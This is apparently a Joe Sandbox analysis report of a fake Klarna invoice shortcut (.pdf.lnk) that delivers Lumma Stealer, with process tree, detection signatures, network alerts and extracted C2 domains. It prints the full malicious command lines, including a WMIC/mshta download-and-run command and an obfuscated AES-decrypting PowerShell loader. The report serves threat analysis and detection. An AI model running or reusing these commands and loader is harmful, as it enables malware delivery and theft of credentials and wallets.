Edit tour

Windows Analysis Report
KlarnaInvoice229837.pdf.lnk

Overview

General Information

Sample name:	KlarnaInvoice229837.pdf.lnk
Analysis ID:	1575736
MD5:	da28a682053a47872919a14d25e98598
SHA1:	ab0f8eb3dd79555ed426f70fee752fe037e74fa5
SHA256:	f830850a900edc87a76adfafb59fe18b33426bad84478cb1c6a6392f582b4c78
Tags:	CHEgeolnkLummaStealeruser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Windows shortcut file (LNK) starts blacklisted processes

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to create processes via WMI

Creates processes via WMI

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Injects code into the Windows Explorer (explorer.exe)

LummaC encrypted strings found

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Sample uses string decryption to hide its real strings

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Process Created Via Wmic.EXE

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Uses an obfuscated file name to hide its real file extension (double extension)

Windows shortcut file (LNK) contains suspicious command line arguments

Writes to foreign memory regions

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Classification

Process Tree

System is w10x64

WMIC.exe (PID: 4348 cmdline: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5544 cmdline: powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 6960 cmdline: "C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 1344 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7384 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1636,i,12666906857534162029,3532720811796512563,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

IMAKBWPY.exe (PID: 5332 cmdline: "C:\Users\user\AppData\Roaming\IMAKBWPY.exe" MD5: EAE347B707607585B09FF0515E84087C)

IMAKBWPY.exe (PID: 4588 cmdline: "C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe" -burn.clean.room="C:\Users\user\AppData\Roaming\IMAKBWPY.exe" -burn.filehandle.attached=520 -burn.filehandle.self=516 MD5: E9D35A53128839CFBB1A329A23BB430B)

pyexec.exe (PID: 8184 cmdline: "C:\Windows\Temp\{1CDFC159-EBDA-4075-AC7E-1811F398BB10}\.ba\pyexec.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)

pyexec.exe (PID: 7444 cmdline: C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe MD5: B6F6C3C38568EE26F1AC70411A822405)

cmd.exe (PID: 340 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 6160 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

svchost.exe (PID: 5064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["deafeninggeh.biz", "diffuculttan.xyz", "effecterectz.xyz", "awake-weaves.cyou", "debonairnukk.xyz", "immureprech.biz", "passworoggre.click", "sordid-snaked.cyou", "wrathful-jammy.cyou"], "Build id": "AB15g1--NEWBuild"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\ryuvnp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
22.2.explorer.exe.310000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend, CommandLine: "C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5544, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\mshta.exe" https://naubeautylus.ch/Headerfrontend, ProcessId: 6960, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD582

Sigma detected: Suspicious Process Created Via Wmic.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend", CommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend", ProcessId: 4348, ProcessName: WMIC.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD5827E2193AF83B13A9484213EC696E93EAD4E5C86D3B340D0383DF19D9C6B9177B473A715691E727DD59FAD481BB49CFEA164A8C8A2491D767B90BD1F1A11FC199A39158AB0C73865F35115CBBE29DBEC488B90B0DC061AD5039FE414583BD0E8BD4E7B7672D629DE366DBFAED2D2883ABA50A9A3E095A1B26777F10398DF92E050D286E806395A5648C371F95E62603829AB9CCCACC87BA02D01A00AFE9838ECF66997E0A551A83FFD859BBA6E2E568E9EDF081936A8569161CB274B3B9FC21427BBFF2D5D3CF500872D4A683668F2BA8C3038B93718EE8317DBCCA6305CD634DD1B2335210DC703C66A2F0B81A0128C9E257E324E61A18DA3ABFD1FF42A8E1E1E8F1E7A7E412839AAE35575C1AB8B6072F3F101F284610A7A9532CE85C597BD62A5F4DEB11490AF74CF21ECB396C3208FB1E2589B5CE209FFE1017BD9C5FAECDA99ACB77A243D50657551D5D47F459F8E119B10653DCCB3289C76C9277136D22F53A69199D62D4FFD4041CF72E1A171243BD2074D940A15228E8513CE7A56D65D8EC952DA1892A1C0DD32267424040F32729D596424618D14BC5778CA69A50F5378CE90DD67BF9999C530599FA84EEDF1437CAD4599F3B7A5E7C715AF39F96B02950C66C2C6BA86E0CA9B675D12FDB087692B5AAB0023D114DDA9F406E075D82EBF2F19297D6F614E17214DB113946B455BD69B36718F5E9FDD59B17F24ADE82623F8E02D3779A8A68B9AD01E429B87EFA6E75E2447F0911F56F9765C959A678DCB2037D736BE2BEBFAA18D5CD0E5D31518F484AA55F2B977C501125F80803041206588BADA41525EE9B8028EA58781C70961A6BB0694F09DA35A160ED1AE70FB8C2E6354A6F03BFC8C02611C83AD60917171564EB342465A947A75C12850F40B68C68DF9C5D83328A98798B17DBEA519B0CE39850F7D8E390584FED55BE5059CA71D2719A0D9B3575AD4DA7287E4D5C5F7EFBA6CC3A3F7F4BCD13AC1249B159691B69F1D64638B49A4BB7A28DA57B77892D7E8F00A1D56280ACF19657E31A66DFC23FBA50CFDA53B25280E96E1FBF839A922391F2D69B1839C422568935D9A35EB45649512E2FDFF02BB416951E3F123183CA94CCFCCB683F885C28A6612BE81855A88151A9D947C889DF4B8536261DCAAD58C911647AB6B0D09AAE2E7F0815EF1890124C736FB150D2551F0419A04AA7E0C0AA8A883CD43E6C794BCACCAFBDC6CEA95B925F072D8EC8D52F266541A22E74F87228F055F2EC79DE196F94BD5C59D029B1320B41AAF44D624365A3C1EC5F6B716D4A575948474E4552594C66474E';function cZF ($PgTDvwwB){return -split ($PgTDvwwB -replace '..', '0x$& ')};$kvsOmI = cZF($ddg.SubString(0, 2080));$qlR = [System.Security.Cryptography.Aes]::Create();$qlR.Key = cZF($ddg.SubString(2080));$qlR.IV = New-Object byte[] 16;$GluWYuA = $qlR.CreateDecryptor();$ZwjPYT = [System.String]::new($GluWYuA.TransformFinalBlock($kvsOmI, 0,$kvsOmI.Length)); sal fd $ZwjPYT.Substring(3,3); fd $ZwjPYT.Substring(6), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = '474A3D80681E00D6A2EF8CD9205A8000631C5C73110F4F3F98F9A3380757A56587AC33C982B8757EDE337D31FE178A5C76E820250B09678E60E099A6640F0003AD5BA580D4079FF31BFB3624F9936FF7E054A6F5E6ADF16AF70F2E258B230F0E119433E36E3EA1E08ACE300686446DBFFA1718086C874FC8A8A09ECE0BFD582

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1344, TargetFilename: C:\Users\user\AppData\Roaming\IMAKBWPY.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend, CommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend", ParentImage: C:\Windows\System32\wbem\WMIC.exe, ParentProcessId: 4348, ParentProcessName: WMIC.exe, ProcessCommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://naubeautylus.ch/Headerfrontend, ProcessId: 5544, ProcessName: powershell.exe

Sigma detected: Proxy Execution Via Explorer.exe

Source: Process started

Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative: Data: Command: C:\Windows\SysWOW64\explorer.exe, CommandLine: C:\Windows\SysWOW64\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\explorer.exe, NewProcessName: C:\Windows\SysWOW64\explorer.exe, OriginalFileName: C:\Windows\SysWOW64\explorer.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 340, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\SysWOW64\explorer.exe, ProcessId: 6160, ProcessName: explorer.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5064, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:15:26.646413+0100	2028371	3	Unknown Traffic	192.168.2.4	49815	104.21.59.81	443	TCP
2024-12-16T09:15:29.050365+0100	2028371	3	Unknown Traffic	192.168.2.4	49820	104.21.59.81	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:15:27.711404+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49815	104.21.59.81	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:15:27.711404+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49815	104.21.59.81	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T09:14:19.746722+0100	2803305	3	Unknown Traffic	192.168.2.4	49736	62.182.21.105	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 22.2.explorer.exe.310000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["deafeninggeh.biz", "diffuculttan.xyz", "effecterectz.xyz", "awake-weaves.cyou", "debonairnukk.xyz", "immureprech.biz", "passworoggre.click", "sordid-snaked.cyou", "wrathful-jammy.cyou"], "Build id": "AB15g1--NEWBuild"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Headerfrontend[1]

ReversingLabs: Detection: 23%

Multi AV Scanner detection for submitted file

Source: KlarnaInvoice229837.pdf.lnk

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\ryuvnp

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: passworoggre.click
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000014.00000002.2528588524.00000000030C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: AB15g1--NEWBuild

Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009BA0BB DecryptFileW,	16_2_009BA0BB
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009DFA62 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,ReadFile,GetLastError,CryptDestroyHash,CryptReleaseContext,GetLastError,CryptGetHashParam,GetLastError,SetFilePointerEx,GetLastError,	16_2_009DFA62
Source: C:\Users\user\AppData\Roaming\IMAKBWPY.exe	Code function: 16_2_009B9E9E DecryptFileW,DecryptFileW,	16_2_009B9E9E
Source: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe	Code function: 17_2_0024A0BB DecryptFileW,	17_2_0024A0BB
